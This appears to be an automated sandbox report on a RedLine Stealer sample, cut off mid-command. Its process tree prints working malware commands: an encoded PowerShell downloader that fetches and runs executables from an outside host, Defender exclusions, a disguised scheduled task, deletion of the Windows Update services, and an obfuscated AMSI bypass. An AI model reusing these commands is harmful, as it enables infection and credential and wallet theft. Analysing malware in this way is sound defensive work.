Analysis

  • max time kernel
    48s
  • max time network
    82s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:26

General

  • Target

    17855519b9e1bde7cabf66a422b5671d4d462968.exe

  • Size

    365KB

  • MD5

    ee244310289c82ebe8c73cfd83329f49

  • SHA1

    17855519b9e1bde7cabf66a422b5671d4d462968

  • SHA256

    702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

  • SHA512

    20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b

  • SSDEEP

    6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:652
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:584
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:1020
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{2b88f8c1-8fdf-468d-a084-afdbb76dd534}
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2248
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:940
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:436
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:712
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:732
                • C:\Windows\Explorer.EXE
                  C:\Windows\Explorer.EXE
                  1⤵
                    PID:3068
                    • C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
                      "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
                      2⤵
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:4964
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                        3⤵
                          PID:1584
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1324
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
                            4⤵
                            • Blocklisted process makes network request
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:3136
                            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:1456
                            • C:\Users\Admin\AppData\Local\Temp\new2.exe
                              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of WriteProcessMemory
                              PID:2836
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                                6⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3092
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 156
                                6⤵
                                • Program crash
                                PID:4744
                            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                              "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4184
                            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                              "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                              5⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Drops file in Program Files directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of WriteProcessMemory
                              PID:3456
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 148
                          3⤵
                          • Program crash
                          PID:396
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4284
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4580
                      • C:\Windows\System32\cmd.exe
                        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3628
                        • C:\Windows\System32\sc.exe
                          sc stop UsoSvc
                          3⤵
                          • Launches sc.exe
                          PID:1568
                        • C:\Windows\System32\sc.exe
                          sc stop WaaSMedicSvc
                          3⤵
                          • Launches sc.exe
                          PID:3968
                        • C:\Windows\System32\sc.exe
                          sc stop wuauserv
                          3⤵
                          • Launches sc.exe
                          PID:2272
                        • C:\Windows\System32\sc.exe
                          sc stop bits
                          3⤵
                          • Launches sc.exe
                          PID:2864
                        • C:\Windows\System32\sc.exe
                          sc stop dosvc
                          3⤵
                          • Launches sc.exe
                          PID:3472
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                          3⤵
                            PID:2104
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                            3⤵
                              PID:1924
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                              3⤵
                              • Modifies security service
                              PID:4832
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                              3⤵
                                PID:3248
                              • C:\Windows\System32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                3⤵
                                  PID:392
                              • C:\Windows\System32\dialer.exe
                                C:\Windows\System32\dialer.exe
                                2⤵
                                  PID:5060
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                1⤵
                                  PID:1044
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4964 -ip 4964
                                  1⤵
                                    PID:388
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2836 -ip 2836
                                    1⤵
                                      PID:4756
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:JYdZioVXGLkU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MfcKkSMgWEtyki,[Parameter(Position=1)][Type]$eEXCfHLeNR)$qUSCdqRjFcr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+'ted'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+[Char](101)+'mo'+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+'ul'+'e'+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ea'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$qUSCdqRjFcr.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+'e'+[Char](99)+''+[Char](105)+'a'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$MfcKkSMgWEtyki).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');$qUSCdqRjFcr.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+'H'+'id'+[Char](101)+''+'B'+'ySi'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+'t'+'u'+''+[Char](97)+''+'l'+'',$eEXCfHLeNR,$MfcKkSMgWEtyki).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+'e,M'+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $qUSCdqRjFcr.CreateType();}$mMNxmKkWJwGAP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+[Char](102)+'t'+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+'.Un'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+'m'+'M'+''+'N'+''+'x'+''+[Char](109)+''+[Char](75)+'k'+'W'+''+[Char](74)+''+'w'+''+'G'+''+[Char](65)+'P');$UmReyXVFnGdLct=$mMNxmKkWJwGAP.GetMethod('U'+[Char](109)+''+[Char](82)+'e'+[Char](121)+''+'X'+''+[Char](86)+'F'+[Char](110)+''+'G'+''+'d'+''+[Char](76)+''+[Char](99)+''+[Char](116)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+'c'+','+'S'+'t'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UezvqNQjOsrKnefaIVl=JYdZioVXGLkU @([String])([IntPtr]);$fnbQzbREubWCXbNQFzbJdr=JYdZioVXGLkU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$neSbPHxKGol=$mMNxmKkWJwGAP.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$kShTTkVGTBDzpf=$UmReyXVFnGdLct.Invoke($Null,@([Object]$neSbPHxKGol,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$eFWpboLUJMjpucybI=$UmReyXVFnGdLct.Invoke($Null,@([Object]$neSbPHxKGol,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$WTfWrcS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kShTTkVGTBDzpf,$UezvqNQjOsrKnefaIVl).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$fVSYgYVLeYvACHlLB=$UmReyXVFnGdLct.Invoke($Null,@([Object]$WTfWrcS,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+'S'+'c'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$lWUTlCOXvW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eFWpboLUJMjpucybI,$fnbQzbREubWCXbNQFzbJdr).Invoke($fVSYgYVLeYvACHlLB,[uint32]8,4,[ref]$lWUTlCOXvW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$fVSYgYVLeYvACHlLB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eFWpboLUJMjpucybI,$fnbQzbREubWCXbNQFzbJdr).Invoke($fVSYgYVLeYvACHlLB,[uint32]8,0x20,[ref]$lWUTlCOXvW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'RE').GetValue('di'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                                      1⤵
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4060
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NnGBGYPYFqBY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AADbKohwPtAcZw,[Parameter(Position=1)][Type]$mdoDgbVnit)$MSQNIwNGtsV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'em'+[Char](111)+''+'r'+'yM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'eg'+'a'+''+'t'+'e'+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'bli'+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$MSQNIwNGtsV.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'de'+[Char](66)+''+'y'+'Si'+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$AADbKohwPtAcZw).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$MSQNIwNGtsV.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+','+''+[Char](86)+'i'+'r'+'t'+'u'+''+[Char](97)+''+[Char](108)+'',$mdoDgbVnit,$AADbKohwPtAcZw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+',M'+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $MSQNIwNGtsV.CreateType();}$VZVLpCErgPqma=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+'c'+[Char](114)+''+[Char](111)+''+'s'+'of'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+'s'+'a'+''+'f'+''+'e'+'V'+[Char](90)+'V'+[Char](76)+''+[Char](112)+''+[Char](67)+'E'+'r'+''+'g'+'P'+[Char](113)+''+'m'+'a');$aBbhMxnRctAqGa=$VZVLpCErgPqma.GetMethod(''+'a'+''+[Char](66)+''+'b'+''+[Char](104)+''+'M'+''+[Char](120)+'nRc'+[Char](116)+''+[Char](65)+''+[Char](113)+''+[Char](71)+''+[Char](97)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vWSuQzEwUgBFYoNgUTR=NnGBGYPYFqBY @([String])([IntPtr]);$pwBfuZvJDlVeSjHOMKxCjn=NnGBGYPYFqBY 